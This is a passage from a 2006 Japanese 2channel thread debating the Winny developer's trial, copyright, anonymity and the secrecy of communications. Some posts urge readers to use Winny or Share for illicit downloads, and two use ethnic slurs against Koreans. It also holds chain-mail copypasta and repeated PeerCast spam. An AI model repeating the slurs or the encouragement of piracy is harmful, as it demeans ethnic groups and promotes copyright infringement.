220 :名無しさん@6周年:2006/06/15(木) 17:31:08 ID:4PgzTUq10
なるほど。
拳銃か。
警察官が使っても捕まらないわけだw

221 :名無しさん@6周年:2006/06/15(木) 17:31:17 ID:7J7JAV5w0
どこが国益だよ、日本のビジネスを潰すだけのガン細胞だろwww

222 :名無しさん@6周年:2006/06/15(木) 17:32:17 ID:TtskfCyS0
    _, ._
  ( ・ω・) 
  ○={=}〇,
   |:::::::::\, ', ´
、、、、し 、、、(((.@)wwww

223 :名無しさん@6周年:2006/06/15(木) 17:33:10 ID:dhBEhlBn0
>>6
Winnyが無かったとしても、アホ役人は他のファイル交換ソフトで重要情報
を流出させていたと思うけど?(笑


224 :名無しさん@6周年:2006/06/15(木) 17:34:52 ID:vtiHjeCG0
>>207
ネトゲの話はまた別だろうが

225 :名無しさん@6周年:2006/06/15(木) 17:35:48 ID:iABUTcz+0
こいつが有罪ならば、車の製造や開発をした者は、スピード違反幇助で逮捕すべきだな。
購入者がスピード違反するのを解っていて販売している訳だしな。

226 :名無しさん@6周年:2006/06/15(木) 17:36:56 ID:f47XaJyY0
>>219
あー煙草の自販機は確かに近い気もするな
ぜひ逮捕してほしいw

227 :名無しさん@6周年:2006/06/15(木) 17:37:05 ID:CTbZdkvyO
アングラのくせに表に出たのがあやまり。
表で商売するにも表の勢力に喧嘩を売るだけで、前向きで積極的な提案なんかないし。
P2P使って商売して見ろよ屑どもが、て挑発してるだけ。

228 :名無しさん@6周年:2006/06/15(木) 17:38:08 ID:9kdxOA940
>>221
http://pc.watch.impress.co.jp/docs/2006/0615/mobile345.htm
こういうビジネスのことか?

229 :名無しさん@6周年:2006/06/15(木) 17:40:06 ID:2/KuwiAJ0
「日本の国益考えると、ウィニー裁判は負けられぬ」
警察や役所内で沢山使用されてるのに 

変な話しだ

早く釈放しろよ

230 :名無しさん@6周年:2006/06/15(木) 17:40:20 ID:TtskfCyS0
>>197 >>207
その溢れかえってる月1000円を払わないのって
小学生・中学生・バイトしてない高校生を中心とする自身の支払い能力が
低いまたは糞ネトゲしかやった事がなくて質を見極めるレベルまで行っていない
一部層の話だからな・・・。

このスレで話しているようなサービスの場合、WOWOWやスカパーの
ように家族単位で決めて金払う類のものだからちょっと話がずれるな。

231 :名無しさん@6周年:2006/06/15(木) 17:42:14 ID:aRc2j5FR0
>>224
タダ厨はちょっとでもお金を払わないってことを言いたかったのだが
あと、またネトゲの話で申し訳ないが、タダにした後、流れ込んでくる連中は明らかに態度が悪い。まさに厨
タダゲーマーとny厨はかぶるところ多いように思っただけ

232 :名無しさん@6周年:2006/06/15(木) 17:44:44 ID:gueA4m7YO
ただしかいやとか
いう資本主義無視な厨は北朝鮮にでも行けばいい

233 :名無しさん@6周年:2006/06/15(木) 17:45:33 ID:PIs/vgF60
こうなりゃ誰か最終暗号を作ってくれ。
狂吐腐軽みたいに汚い手を使いプログラムソースを手に入れたところで実際の通信は絶対解読できんヤシ。
漏れには作れん(`・ω・´)シャキーン

素数を利用した暗号じゃコンピュータの処理能力が飛躍的に向上すると力わざで破られるし。
量子暗号も盗み見された事を感知し通信を止めるなりの受け身的な対策で防御するんだよね?

234 :名無しさん@6周年:2006/06/15(木) 17:46:44 ID:gv4kVdWJ0
日本は既得権が強すぎる

235 :名無しさん@6周年:2006/06/15(木) 17:48:32 ID:f47XaJyY0
>>233
セキュリティというのは弱いところから破れる
暗号がいくら強力でもかかわる人々が有象無象では(ry

236 :名無しさん@6周年:2006/06/15(木) 17:50:16 ID:sjWDFSQjO
47氏足跡つけないでmixi見れるソフト開発してくれんかなぁ…
今度はmixiから訴えられちゃうか

237 :名無しさん@6周年:2006/06/15(木) 17:50:51 ID:TFmCqykI0
後に>>35はロリ画像所持で逮捕された

238 :名無しさん@6周年:2006/06/15(木) 17:53:07 ID:On7Eaa0c0
犯罪者が国益を語るの巻

239 :名無しさん@6周年:2006/06/15(木) 17:53:16 ID:K+kNrh/20
尻プリ オトシタ クセニ ヌスット タケ ダケ シイ

240 :名無しさん@6周年:2006/06/15(木) 17:53:27 ID:gg/z2oXk0
ttp://pc.watch.impress.co.jp/docs/2006/0615/mobile345.htm
音楽著作権“利権者”たちの変わらぬ想い

カスラック市ね


241 :名無しさん@6周年:2006/06/15(木) 17:54:12 ID:616gRm9g0
国益語れば何でもいいと思ってるのか、この馬鹿は。

242 :名無しさん@6周年:2006/06/15(木) 17:57:21 ID:Hjmw6vGy0
ソースコード公開まだぁ

243 :名無しさん@6周年:2006/06/15(木) 18:00:05 ID:2I9FUmti0
>>213
おまえのいってるような中央管理とは違うが
ブロードキャスティングみたいなリアルタイム性の高い発信なら
そういう中央ノードのあるP2Pってのは面白いかもね。
参加してるPCパワーを一時的に「借りる」ってイメージかな。

244 :名無しさん@6周年:2006/06/15(木) 18:13:09 ID:V4+YcKFv0
>>227
>アングラのくせに表に出たのがあやまり。
2ちゃんねるの事ですか?

245 :名無しさん@6周年:2006/06/15(木) 18:18:49 ID:PIs/vgF60
>>235
確かにおっしゃる通り。
暗号化されたデータを解読できなくても暗号化前か復号化後の生データを取得すればよい訳で。
偽装したexeファイルを簡単に実行するヤシはどうしようもない。


246 :名無しさん@6周年:2006/06/15(木) 18:24:30 ID:0xpnb8+60
著作権違反がどうとか力説してる奴に限ってようつべは見てたりする矛盾
あっちは何一つ知識必要ないもんなー

247 :名無しさん@6周年:2006/06/15(木) 18:27:23 ID:gaJtCBv00
メーカーのサイト見てきたが、正式略称は尻プリじゃなくオシプリみたいだな
osipuri7.html

248 :名無しさん@6周年:2006/06/15(木) 18:28:16 ID:hCQLGHt2O
また京都腐警か

249 :名無しさん@6周年:2006/06/15(木) 18:29:10 ID:aRc2j5FR0
>>244
マスコミ、ネトランとか宣伝し杉とオモタ
アングラソフトの解説本とかが普通にコンビニに並んだりするのは異常
nyで金儲けしようとした出版社ども氏ね

250 :そうだ、新聞を取るのをやめよう:2006/06/15(木) 18:32:51 ID:QiEpxNwx0
こんなことが有罪なら、交通事故で自動車メーカーすべて有罪。
年間一万人の死者が発生しているのだから開発した側が悪い。
車売るべからず。

251 :名無しさん@6周年:2006/06/15(木) 18:35:43 ID:V4+YcKFv0
>>249
NHKのクローズアップ現代でWinnyの特集組んだのを見たときnyのCMかとオモタヨw

252 :名無しさん@6周年:2006/06/15(木) 18:36:40 ID:+Od9bXxp0
ryは人間には使いこなすことはできない

タダってのは怖い、欲望のまま好き勝手やるにきまっている。
廃止したほうがいいよ。共有ソフトつかったら懲役1年にしたらいいよ。


253 :名無しさん@6周年:2006/06/15(木) 18:39:07 ID:Xp5ixLsv0
>>250
まあ、それは言いすぎだが。

この問題にあわせると、法定速度以上は絶対だせないような装置を
付けないと車は販売不可とかは必用になってしまう事は確かかもな。

普段は80K以上出すと、自動停止、高速道路に入るときは、高速道路
の入り口でリミッターが解除とかなw

まあ、そんな車は多分売れんだろうがw。

254 :名無しさん@6周年:2006/06/15(木) 18:40:03 ID:4PgzTUq10
TNGくらいの時代になればnyを使いこなせるようになるかもねw
ENTやTOSくらいまでは無理っぽい。

255 :名無しさん@6周年:2006/06/15(木) 18:40:42 ID:99hPH2jF0
nyは違法厨が感情論振り回したって何の解決にもならん。

法律に詳しいヤツいるか?

主犯がいない、あるいは捕まってない幇助で、
自白以外で有罪になったケースってどのくらいあるんだ?

256 :名無しさん@6周年:2006/06/15(木) 18:42:42 ID:AaT5qdpM0
nyは0円神と言う神を祭るための際器だ。
0円神の御利益を得るためには「時間安心安全快適親切丁寧」その他、各種生贄を
山ほど祭壇にささげる必要がある。
タダゲー好きの若い学生連中は0円神信仰に走りやすいが、年をとり、自分で稼ぐようになると
いちいちこんな苛烈な生贄要求に付き合ってはいられない。
それなら金銭のお布施で満足してくれる三千円神くらいを祈っとく方が楽でいい。
御利益が変わらないなら尚更だ。

257 :名無しさん@6周年:2006/06/15(木) 18:43:35 ID:vfNI4wi+0
>>246
あっちは通報されると消してるな。またうpされていたちごっこだけどさ。
管理している、削除することが出来る。というのは大きな違いじゃないか。
潰れればサイトごとなくなるわけだしさ。

nyの問題は「自己の著作物を独占的に支配し利益をうける排他的な権利」を
侵しているのが問題。しかも侵したやつが特定できないように匿名にしている
のが悪質ということで自己増殖までする。

それで運用上において明らかに権利を侵すことが出来るのが問題で、しかも
対策しない&管理するやつがいないのでたちが悪いということじゃないか。

誰も管理しせず、しかも問題が出るなら公が介入するしかない。
で、公は素人なわけだが、そいつらに文句言うのは責任転嫁で本末転倒じゃね。

258 :名無しさん@6周年:2006/06/15(木) 18:47:22 ID:9pi3I+XP0
国益だの愛国心など喚く馬鹿も、
平和だの護憲だの寝言いう馬鹿も、

nyを前にしてやることは一緒ですwww

259 :名無しさん@6周年:2006/06/15(木) 18:49:24 ID:sQlQr+7z0
>>255
おまいが全然法律に詳しくないのはわかるぞ。

260 :名無しさん@6周年:2006/06/15(木) 18:51:42 ID:99hPH2jF0
>>259
たりめーだ

詳しかったら聞いたりしねーよ。

261 :名無しさん@6周年:2006/06/15(木) 19:14:52 ID:1m63VJNb0
>257
>対策しない&管理するやつがいないので
って、公がそういう状況を作ってる訳だが。

262 :名無しさん@6周年:2006/06/15(木) 19:56:51 ID:kTuLoT4v0
「交通事故で人が死んだから自動車メーカーの責任が問えるか?」ってやっぱ至言だわ。


263 :名無しさん@6周年:2006/06/15(木) 19:57:38 ID:V4+YcKFv0
nyやシャレは便利なソフトだと思うが
ダウソ厨を嫌ってる人は正義感なのか?

264 :名無しさん@6周年:2006/06/15(木) 20:03:45 ID:TtskfCyS0
「発火で人が死んだから三菱自動車の責任が問えるか?」

265 :名無しさん@6周年:2006/06/15(木) 20:14:09 ID:U3tdB4+20
ダウソとかJASRACより、そもそも「完全匿名メディア」
が存在することの是非の観点から論ずることをそろそろ
考えても良いんじゃない?
あ、2chは匿名なんかじゃないので。犯罪予告すると捕まりますから。

266 :名無しさん@6周年:2006/06/15(木) 20:18:02 ID:YgGFHixk0
>>265

>>ダウソとかJASRACより
そこまで言い切るならスレ違い。
違うとこでやってくれ

このスレじゃ、この要素はあってもかまわない物だ。

267 :名無しさん@6周年:2006/06/15(木) 20:18:20 ID:fEygSRrX0
Winnyが現行著作権保護を踏みにじる違法なファイル交換をも目的に含み
その目的を達成するためにファイルの出所の秘匿性に注力したソフトである以上、
「包丁に罪は無い理論」は通用しないだろ。

そのテの論法使いたければ「ニンジャソードが販売禁止はおかしいぞ理論」を立ち上げてからにしろ。

268 :名無しさん@6周年:2006/06/15(木) 20:20:26 ID:TtskfCyS0
>>267
とても恥ずかしがり屋さんでも自作ポエムを公開できるように
出所の秘匿性に注力したんだろう。

269 :名無しさん@6周年:2006/06/15(木) 20:35:10 ID:HkuQ9SbQ0
>>35
「水のような音楽」を思い出した

270 :名無しさん@6周年:2006/06/15(木) 20:46:12 ID:99hPH2jF0
>>267
ny厨は、winnyを 「包丁」 だと言い
お前は、winnyを 「ニンジャソード」 だと言いたいんだな?

じゃあ聞こう 「ニンジャソード」 は、作るのも、売るのも、使うのも違法だろ?

政府は 「ニンジャソード」 を使うことを 合法だと 言ったのか?
政府は 「winny」 を使うことを 違法だ と言ったのか?

271 :名無しさん@6周年:2006/06/15(木) 20:47:13 ID:YgGFHixk0
>>267
だから、それが目的で開発されたって証明してくれよ。
検察もそれができれば裁判で有罪にできるんだから。教えてやれば喜ぶぞ。

だが、そんなの本人が自供する以外、実際できないじゃないか。
それとも、開発者はそう自供してるの?
それなら議論の方向が180度変るがね。

272 :名無しさん@6周年:2006/06/15(木) 20:49:59 ID:gjwc1d5e0
わざわざ京都地裁まで行くのは乙。
被告人が罪を認めない限り、検察は事件を被告人の住所に移送しないから。
もし沖縄県警がこの事件を立件してれば、金子氏は公判毎に自費で行かねばならなかっただろう。

273 :名無しさん@6周年:2006/06/15(木) 20:51:34 ID:SPRBm//g0
エロゲを散々ダウソしながらよく言うぜ・・・

274 :名無しさん@6周年:2006/06/15(木) 20:54:35 ID:YgGFHixk0
まあ、正直、京都府警が、winny使ってた、刑事を立件逮捕するついでに、
今まで、winny使った事ある人間を全てを立件、逮捕するくらいの根性見せ
りゃあなあ。

開発者も無しくづし的に、ごり押しで有罪持っていけたかもしれんが・・・。
ようは、winny関連者は全て犯罪者だって事で・・・・
(まあ、そんな事すれば、かなり冤罪も含むだろうが、そこは権力で押し切るって策で)

使った奴はOKで、開発者はアウトじゃ、ごり押しすらできないよ。

275 :名無しさん@6周年:2006/06/15(木) 20:55:16 ID:+ZhPCe0M0
どう転んでも、無罪は間違いないけどね

276 :名無しさん@6周年:2006/06/15(木) 20:55:50 ID:JKZFsqqY0
統一教会主催合同結婚式に祝電を送る安倍晋三
ttp://www.youtube.com/watch?v=5sSv38hd6fs

報道特集 再燃!統一教会による被害 1/3
ttp://www.youtube.com/watch?v=FHH5iDPQerE

報道特集 再燃!統一教会による被害 2/3
ttp://www.youtube.com/watch?v=UpruuB7-vSw

報道特集 再燃!統一教会による被害 3/3
ttp://www.youtube.com/watch?v=lOaLZRLQKs4

277 :名無しさん@6周年:2006/06/15(木) 21:02:21 ID:V4+YcKFv0
>>271
未必の故意って言いたいのではないか?

しかし、金子氏は面白いソフトのアイデアが浮かんだので
nyを作成してUPしただけだと思う。
悪用する奴らの事は知ったことか!
俺はこのソフトを完成させたい!って所だと思う?

278 :名無しさん@6周年:2006/06/15(木) 21:05:10 ID:YgGFHixk0
>>277
ソフトや、機器、機材の開発でそれ言い出したら、何でもありだからなあ。
それこそ、「包丁つくったら犯罪者」になっちまうよ。


279 :名無しさん@6周年:2006/06/15(木) 21:06:29 ID:gW4mnEUj0
>>277
>しかし、金子氏は面白いソフトのアイデアが浮かんだので
>nyを作成してUPしただけだと思う。
>悪用する奴らの事は知ったことか!
>俺はこのソフトを完成させたい!って所だと思う?
これとか見るとその思いは伝わってくるよなw
http://winny.info/2ch/47.html

280 :名無しさん@6周年:2006/06/15(木) 21:10:22 ID:8a1cxe8a0
幇助でありながら
使用者は一般人のみ逮捕
公務員は無罪、あらふしぎ

281 :名無しさん@6周年:2006/06/15(木) 21:12:48 ID:YgGFHixk0
結局、自分たちの仲間は無罪で、それ以外は有罪ってやった
京都府警が何言うかってのはあるわなあ。

282 :名無しさん@6周年:2006/06/15(木) 21:20:16 ID:V4+YcKFv0
>>278
ノーベルはダイナマイト作ったよ。
アインシュタインは核兵器に協力したよ。
しかし生活に役立ってるよ。
金子氏も、このソフト「など」のアイデアが
10年後100年後には有効に使用されると考えてる。

283 :名無しさん@6周年:2006/06/15(木) 21:21:08 ID:Lzh/dkYg0
判決しだいで法整備かな
おそろしや

284 :名無しさん@6周年:2006/06/15(木) 21:21:34 ID:23wFmnc30
それよりおまいらPeerCastを始めないか?
面白い動画やゲーム動画、新作アニメ、ワールドカップがみれるぞ
みんなで楽しく実況しようぜ
知らない奴にもどんどん教えてあげてくれ
★peercast説明サイト★
http://www.geocities.jp/peercast_template/


285 :名無しさん@6周年:2006/06/15(木) 21:24:40 ID:V4+YcKFv0
あと、インターネットもアメリカ軍のアイデアだった。

286 :名無しさん@6周年:2006/06/15(木) 21:28:00 ID:KZWaUVNR0
>>279
39 名前:47 投稿日:02/04/05 23:54 ID:77Xrl5cl main/1017590243.html#458
>>455
ただ、ファイル交換するだけだから絶対その内容は実行されないですよん。
もちろん、交換したファイルにウイルスがあるかどうかなんてしったこっちゃないですが、
上に書いた理由により、皆さんの連携で弾けるはず。

> って事は誰が誰と交換してるとかは47氏からは筒抜けって事ですか?
無理っす(^^;動き出したら私にも止められないです。


無理っすって・・・w

287 :名無しさん@6周年:2006/06/15(木) 21:32:00 ID:TtskfCyS0
>>274
とても現代の法治国家の姿とは思えんな。
そんな国になったらどこかに移民するよ。

288 :名無しさん@6周年:2006/06/15(木) 21:37:32 ID:o5YnWx2G0
分散管理が目的なら、なぜ、わざわざ送信者の匿名を確保する仕組みを作るの?

289 :名無しさん@6周年:2006/06/15(木) 21:40:39 ID:nA16A2nR0
日本人の国益のために夜な夜な お尻プリンセスを落としてたんだなw
自分専用の特別バージョンまで作って。

著作権無視しまくりのダウンロード板で開発を宣言し、違反幇助になることも承知で
公開しておいて、自分に非は無いとは良く言えたもんだ。

大体、金子が落としていた お尻プリンセスだって誰かが著作権を無視してアップロードしてたんだろうが。
自分自身が著作権を無視しておいて、P2P技術は云々、詭弁のテンコ盛り。

P2Pが悪いからつかまったんぢゃ無く、 お尻プリンセスをアップロードしているような輩のためのソフトを公開したのが問題なんだろうが。

290 :名無しさん@6周年:2006/06/15(木) 21:44:05 ID:99hPH2jF0
>>289
>P2Pが悪いからつかまったんぢゃ無く、 お尻プリンセスをアップロードしている
>ような輩のためのソフトを公開したのが問題なんだろうが。

長文妄想乙。 

せめて何か、もっともらしいソース付けろ。読むに耐えん

291 :名無しさん@6周年:2006/06/15(木) 21:45:08 ID:V4+YcKFv0
>>289
おまえも使ってみろや
便利なソフトだから

292 :名無しさん@6周年:2006/06/15(木) 21:46:13 ID:4/SNZ+du0
>>265
>ダウソとかJASRACより、そもそも「完全匿名メディア」
>が存在することの是非の観点から論ずることをそろそろ
>考えても良いんじゃない?
匿名性が公益目的にかなう利用方法が一個でもあればそれで十分なんだが、違法行為の匿名
内部告発がそれにあたるので、nyはセーフ。

そんなこと考えるまでもなく、2ちゃんはともかくリアル便所の壁に著作権者の許可なく歌の歌詞
を落書きしても著作権法違反だしnyと同程度の匿名性なので、便所の設置者は著作権法違反
幇助になっちゃうよ。

293 :名無しさん@6周年:2006/06/15(木) 21:46:43 ID:TtskfCyS0
>>289
そこまで必死になって有罪にして欲しいの?
俺には全く理解できない。
前スレ(俺は読んだだけだが)と違いせっかくいい流れで論議できてたのに
残念だ。

キンタマ等のウイルス作者は何がなんでも逮捕して欲しいと思うけどさ。
力点間違ってるよ。

294 :名無しさん@6周年:2006/06/15(木) 21:51:14 ID:8KXdRaF30
>>292
匿名の内部告発なんてnyでやった奴なんているのかよ。
便所の落書きは著作権法違反以前に器物損壊だが、うpろだ同様指摘を受けた際に
消せば管理者の責任は問われない。nyは消せないがな。

295 :名無しさん@6周年:2006/06/15(木) 21:51:24 ID:U3tdB4+20
一応予言しとくよ。
47氏は無罪になって、ny等の匿名性交換ソフト使用対策で
特別法ができるよ。
日本国内で司法官憲が立ち入れないコミュニテイなど、
絶対に許容はしないというのは明白。
あ、俺が↑の規制に賛成とか反対とかいうのではないから。



296 :名無しさん@6周年:2006/06/15(木) 21:53:24 ID:TbHsXrd80
>>289を読んで改めて>>1を読んでみると、

>  <金子勇被告>「全体の極エロの問題。極エロと考えると、この裁判は負けるわけにいかない」

>  <金子勇被告>「せっかく(アダルトソフトを)作ったのであれば、手元に置いておくよりは、公開して
>  皆さんに見せた方が、皆さんのエロになるんですよ。

>  「Winnyをネット上に公開したのは、『せっかく思いついた奉仕プレイが使い物になるか
>  どうかを試すため』だ。この点だけは譲れない」と、金子被告は笑ってみせた。

>  金子被告は「面白いエロゲーは皆で共有すべきだ」と考えている。

という風に読めてしまうのは俺が疲れているせいだろうか?

297 :名無しさん@6周年:2006/06/15(木) 21:54:42 ID:tPyOfH140
>>291
使っているだろw

つうか、使わないやつは明らかに損してるwww
使わないことが正義感ですか??無理しちゃってwww

298 :名無しさん@6周年:2006/06/15(木) 21:56:11 ID:uLQ+6cdl0
犯罪者の苗字が金本だの金子だの来ると
すぐに在日在日騒いで容疑に関係なくボコボコに叩くけど・・・ 

winnyの開発者にはダンマリ決め込むのね。
ネットウヨと言われる層が一体どんな層なのか、おおよそ察しがつくわな。



299 :名無しさん@6周年:2006/06/15(木) 21:58:43 ID:23wFmnc30
それよりおまいらPeerCastを始めないか?
最新・レトロゲーム、新作アニメ、ドイツワールドカップなんかもやってるぞ
みんなで楽しく実況しようぜ
知らない奴にもどんどん教えてあげてくれ
★peercast説明サイト★
http://www.geocities.jp/peercast_template/
★実況は、なんでも実況Vでやってます★
http://live22x.2ch.net/livevenus
ポート開放方法はここを見てください
http://www.akakagemaru.info/port/index.html
IPも固定してください
http://www.geocities.jp/seidy_seidy/bb/port.html


300 :名無しさん@6周年:2006/06/15(木) 22:01:49 ID:U3tdB4+20
>>292
ということは、仮にあなたの名誉を傷つける個人にまつわる情報が
nyに放流されて、匿名性が故に故意に情報を放流した人に
責任も追求できなく、賠償も求めることも全く不可能な
事態になってもそれは仕方の無いことと甘んじて受け入れる訳ですね?


301 :名無しさん@6周年:2006/06/15(木) 22:02:52 ID:V4+YcKFv0
>>297
(゚Д゚)ハァ?
これか?
nyやシャレは便利なソフトだと思うが
ダウソ厨を嫌ってる人は正義感なのか?

302 :名無しさん@6周年:2006/06/15(木) 22:03:45 ID:7XG5xJ2k0
>>300
なになに?
誰でもいいから叩く対象がないと困る→こいつでいいや

って考えなわけ?
ふーん。

303 :名無しさん@6周年:2006/06/15(木) 22:05:34 ID:zEZsEUNY0
国益になってねー。
今までの損失は無視だし。
2chの動物病院裁判みたいに、民事で裁判起こしたほうがこたえるんじゃねーの。

304 :名無しさん@6周年:2006/06/15(木) 22:09:37 ID:7XG5xJ2k0
そいや誰も民事で訴えないのはなんでじゃろ?

305 :名無しさん@6周年:2006/06/15(木) 22:13:07 ID:nA16A2nR0
*********************************************
とても恥ずかしがり屋さんでも自作ポエムを公開できるように
出所の秘匿性に注力したんだろう。
*********************************************
いくらなんでもこの発言は痛すぎるだろ

306 :名無しさん@6周年:2006/06/15(木) 22:18:23 ID:4UuYfsrq0
47氏の悪口を言う人はJASRACの工作員。

307 :daily ウォガ! ◆Ztdaily2X6 :2006/06/15(木) 22:19:04 ID:T36N69Vn0
創価警察怖い

308 :名無しさん@6周年:2006/06/15(木) 22:19:43 ID:tStQKbjb0
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●●●●●●●●●●●●●●●●不合格●●●●●●●●●●●●●●●●●
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これを見た人は確実に【不合格】です。これをコピペでどこかに3回貼れば回避できます。
これは本当です。やらないと一年無駄になります

309 :名無しさん@6周年:2006/06/15(木) 22:22:43 ID:MemZr/EJ0
金子に正義があると主張する奴は「お尻プリンセス」について納得のいく説明をしてくれ。

310 :名無しさん@6周年:2006/06/15(木) 22:22:45 ID:kYsIA7OC0
おまえら、たしかに金子など
どうでもいい早く市ね
有罪なって人生終れや
と思うかもしれないが
金子が負ければ交換できる環境が
悪くなるのは間違いない。
ここは金子の無罪を応援しようじゃねえか。

311 :名無しさん@6周年:2006/06/15(木) 22:27:15 ID:J/c3gX0x0

>>298
在日コンプレックス丸抱えのバカ白丁めっけw

312 :名無しさん@6周年:2006/06/15(木) 22:28:12 ID:V4+YcKFv0
>>303
国益になってるだろ
CD−R、DVD−R、外付けHDD
ルーター、ウイルス対策ソフト
ダウソ用PC等
最低限、消費税、法人税、所得税は納税されてるな。
>>309
途中で挫折した、俺はエロゲは無理

313 :名無しさん@6周年:2006/06/15(木) 22:29:32 ID:99hPH2jF0
>>309
正義があるかどうかなんて知らん。

ただ無罪だと思うだけ。
お前はナゼ有罪だと思うんだ?

http://news19.2ch.net/test/read.cgi/newsplus/1150041435/

314 :名無しさん@6周年:2006/06/15(木) 22:35:26 ID:V4+YcKFv0
>>309
とにかく、お前もWinnyなりShare使ってみろや

315 :名無しさん@6周年:2006/06/15(木) 22:35:37 ID:V3jzCv2t0
Winny作った奴が悪いんじゃない!
悪いことに使う奴が悪いんだ!



てか?
じゃあnyって何するためのソフトなのよ
相変わらず金子信者はキモいな

316 :名無しさん@6周年:2006/06/15(木) 22:38:18 ID:V4+YcKFv0
>>315
とにかく、お前もWinnyなりShare使ってみろや

317 :名無しさん@6周年:2006/06/15(木) 22:43:03 ID:99hPH2jF0
>>315
少しは勉強しろ

winnyの完成度は知らんが特定の大型鯖を必要としないネットワ−クは
これからの主流になるぞ。匿名性やプライバシーを守るのも当たり前。

ただし著作権を守るための仕組み
(特定の公的機関が法律に基づいて通信内容を閲覧できる構造)
は必要かもしれん

318 :名無しさん@6周年:2006/06/15(木) 22:45:47 ID:zE4dYISl0
大型鯖って何?そんなものいらん。
サーバなど安っぽいもので、それなりに用を果たすぞ。

319 :名無しさん@6周年:2006/06/15(木) 22:47:32 ID:04g9ADwB0
>>315
winnyのお手本であるfreenetの趣旨からかんがえればわかるだろ。
弾圧にまけずに言論の自由を確保するためのソフト。
著作権無視のファイルはそれを広めるための餌だ。
そういった権力が規制することが不可能な巨大なネットワークが
構築されることが大切なんだよ。

320 :名無しさん@6周年:2006/06/15(木) 22:48:33 ID:d3HiQ9L80
>>317
インターネット自体が潰されたら無力だけどね。

321 :名無しさん@6周年:2006/06/15(木) 22:51:12 ID:4/SNZ+du0
>>317
>ただし著作権を守るための仕組み
>(特定の公的機関が法律に基づいて通信内容を閲覧できる構造)
>は必要かもしれん
著作権は文化の発展のための手段でしかなく、文化さえ発展するなら、通信に秘密を侵して
まで守る必要はない。

322 :名無しさん@6周年:2006/06/15(木) 22:51:14 ID:99hPH2jF0
>>318
もう一部で試験運用始まってるみたいだが
ストリーミング同時配信に、「安っぽいもので、それなりの鯖」 が耐えられるわけが無いだろ

323 :名無しさん@6周年:2006/06/15(木) 22:51:32 ID:YgGFHixk0
>>318
そりゃあ、何時止まっても問題なしなコンテンツしか載せとらんサーバーなら安っぽいので
かまわんだろうが。
年間正常稼働時間とか、処理件数とか真面目に考え出すと、とても安っぽいのでは運用で
きんぞ。

それなら、自分で用意せずに、法人のレンタルサーバー領域借りた方がなんぼか、現実的。

ちなみにお前さんの安っぽいサーバーって具体的に何よ?
名前がでてこんなら、どんな用途にどのくらいの価格帯のサーバー使うか上げてみ?
お前さん、そっちの知識あるようにとても見えん。

324 :名無しさん@6周年:2006/06/15(木) 22:52:07 ID:tHj4d4/g0
>>317
著作権ごときでそんなことすんなよ

325 :名無しさん@6周年:2006/06/15(木) 22:53:00 ID:oNb3qZBw0
とりあえずおまいらはエロさえ落とせたら文句いわないんだろ?

326 :名無しさん@6周年:2006/06/15(木) 22:53:38 ID:7XG5xJ2k0
>>320
その仮定にはどういう意味があるんだw

327 :名無しさん@6周年:2006/06/15(木) 22:54:19 ID:YgGFHixk0
>>317
おいおい、通信の秘匿って重要な概念を犯す、法整備をそんなサラット
簡単にいうなw
電話の盗聴でさえ、建前上(実際運用はシラネ)はがんじがらめな手続き
通った後でしかできないんだぞ。

328 :名無しさん@6周年:2006/06/15(木) 22:54:25 ID:04g9ADwB0
大切さ

通信の秘密>>>>>>>>著作権

しかも著作権でもっとも大切な著作人格権には関係ないしな。
むしろ有料より無料のほうが広まるぶん名声という観点では
著作者に+になる。
困るのはそれに寄生して甘い汁をすってる害虫どもだけ。

329 :名無しさん@6周年:2006/06/15(木) 22:58:58 ID:zE4dYISl0
>>328
そのベクトルは逆だと思う。秘密が守られても人が
社会的に抹殺されたら意味なし。
通信の秘密如きで、守るべき物が守られないことがあってはならない。

330 :名無しさん@6周年:2006/06/15(木) 23:01:58 ID:d3HiQ9L80
>>327
Winnyによる著作権侵害を阻止するためなら
がんじがらめな手続きを通す価値はあるな。

331 :名無しさん@6周年:2006/06/15(木) 23:02:02 ID:99hPH2jF0
>>329
「通信の秘密如き」 とか言うカスが口だすな。

                 ・・・と釣られてみるtest

332 :名無しさん@6周年:2006/06/15(木) 23:06:16 ID:pcy0mvTO0
Winnyで違法DLしている輩は恥を知れ!
貴様らそれでも日本人か?
チョンみたいな行動してんじゃねぇよ。


333 :名無しさん@6周年:2006/06/15(木) 23:06:29 ID:d3HiQ9L80
通信にもいろいろあるだろう。
ウィニーで行われてるのはデジタルコンテンツの違法な流通。
そんな物には守る価値など無い。

334 :名無しさん@6周年:2006/06/15(木) 23:07:20 ID:V4+YcKFv0
>>329
俺も便乗w
第二十一条【集会・結社・表現の自由、検閲の禁止、通信の秘密】
1 集会、結社及び言論、出版その他一切の表現の自由は、これを保障する。
2 検閲は、これをしてはならない。通信の秘密は、これを侵してはならない。


335 :名無しさん@6周年:2006/06/15(木) 23:10:52 ID:V4+YcKFv0
>>332
便利だから使ってみろ
>>333
デジタルコンテンツの違法な流通
(゚Д゚)ハァ?

336 :名無しさん@6周年:2006/06/15(木) 23:11:22 ID:d3HiQ9L80
直接の通信相手なら秘密でもなんでもないだろう。

337 :名無しさん@6周年:2006/06/15(木) 23:11:44 ID:d3HiQ9L80
>>335
なにがわからないのですか?

338 :名無しさん@6周年:2006/06/15(木) 23:12:44 ID:99hPH2jF0
>>332
こりゃまた画期的な法解釈!

違法なら立件される筈だよな?
http://news19.2ch.net/test/read.cgi/newsplus/1150041435/

339 :名無しさん@6周年:2006/06/15(木) 23:15:54 ID:Wpqes7te0
技術を発表することと
犯罪者にその手段を提供することとは全く違う.

実験がしたかったと言うなら, 松本サリンと変わらん.

340 :名無しさん@6周年:2006/06/15(木) 23:17:09 ID:V4+YcKFv0
>>337
デジタルコンテンツの違法な流通
ネットはアナログですか?

341 :名無しさん@6周年:2006/06/15(木) 23:19:45 ID:99hPH2jF0
>>339
そうだね。

ビルゲイツがいなけりゃ 9.11は、なかったかもね。
ところでヤツはアルカトラズにでも入ってるのか?

接着剤減ってないか気をつけて見とけよw

342 :名無しさん@6周年:2006/06/15(木) 23:22:56 ID:80yRZXEQ0
コンテンツをny上で流通させる事は違法ではないんだよ、今のこの国では。
ま、屁理屈だけどね。

nyのネットワーク上に違法にコンテンツを提供する人間が居るだけだよ。

>>339
松本サリンは犯罪者に手段を提供したんじゃなくて、犯罪に手段を用いたんだろ。
屁理屈だけど(w

343 :名無しさん@6周年:2006/06/15(木) 23:23:21 ID:gDhIDKXa0
>だから、これまでWinny以外の様々なプログラムもネット上で無料で公開してきた。

どんなの?教えてえろいしと

344 :名無しさん@6周年:2006/06/15(木) 23:24:51 ID:V4+YcKFv0
>>339
技術者が発表しても
使用されなかったら意味がない。

345 :名無しさん@6周年:2006/06/15(木) 23:25:54 ID:80yRZXEQ0
>>343
